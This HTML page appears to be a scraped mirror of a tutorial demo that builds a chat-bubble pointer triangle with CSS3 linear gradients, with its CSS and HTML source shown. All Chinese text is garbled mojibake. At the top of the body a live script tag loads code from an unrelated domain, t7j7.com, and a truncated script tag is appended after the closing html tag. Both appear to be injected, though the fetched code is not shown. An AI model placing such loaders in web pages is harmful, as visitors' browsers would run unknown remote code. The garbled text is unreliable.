鍩轰簬CSS3绾挎€ф笎鍙樹笁瑙掑浘褰㈢敓鎴?禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .avatar { width: 54px; height: 54px; border-radius: 50%; object-fit: cover; float: left; } .content { margin-left: 70px; } .talk { display: inline-block; max-width: 80%; border: 1px solid #ddd; border-radius: 3px; padding: 6px 10px; font-size: 14px; background-color: #fff; position: relative; } .talk::before { content: ''; position: absolute; width: 6px; height: 6px; background: linear-gradient(to top, #ddd, #ddd) no-repeat, linear-gradient(to right, #ddd, #ddd) no-repeat, linear-gradient(135deg, #fff, #fff 6px, hsla(0,0%,100%,0) 6px) no-repeat; background-size: 6px 1px, 1px 6px, 6px 6px; transform: rotate(-45deg); left: -4px; top: 13px; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>鍩轰簬CSS3绾挎€ф笎鍙樹笁瑙掑浘褰㈢敓鎴愬疄渚嬮〉闈?/h1> <a href="//olsonnd.com/wordpress/?p=6494" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show"> <div class="demo"> <img src="//image.zhangxinxu.com/image/study/s/s128/mm1.jpg" class="avatar"> <div class="content"> <p class="talk">杩欐槸瀵硅瘽鍐呭</p> </div> </div> </div> </div> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css">.avatar { width: 54px; height: 54px; border-radius: 50%; object-fit: cover; float: left; } .content { margin-left: 70px; } .talk { display: inline-block; max-width: 80%; border: 1px solid #ddd; border-radius: 3px; padding: 6px 10px; font-size: 14px; background-color: #fff; position: relative; } .talk::before { content: ''; position: absolute; width: 6px; height: 6px; background: linear-gradient(to top, #ddd, #ddd) no-repeat, linear-gradient(to right, #ddd, #ddd) no-repeat, linear-gradient(135deg, #fff, #fff 6px, hsla(0,0%,100%,0) 6px) no-repeat; background-size: 6px 1px, 1px 6px, 6px 6px; transform: rotate(-45deg); left: -4px; top: 13px; }</pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"> <img src="mm1.jpg" class="avatar"> <div class="content"> <p class="talk">杩欐槸瀵硅瘽鍐呭</p> </div> </pre> </div> </div> </div> </div>  <script type="text/javascript" src="../js/hl_all.js"></script> <script type="text/javascript"> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>  <ins class="adsbygoogle" style="display:inline-block;width:728px;height:90px" data-ad-client="ca-pub-0090627341039040" data-ad-slot="4686885989"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys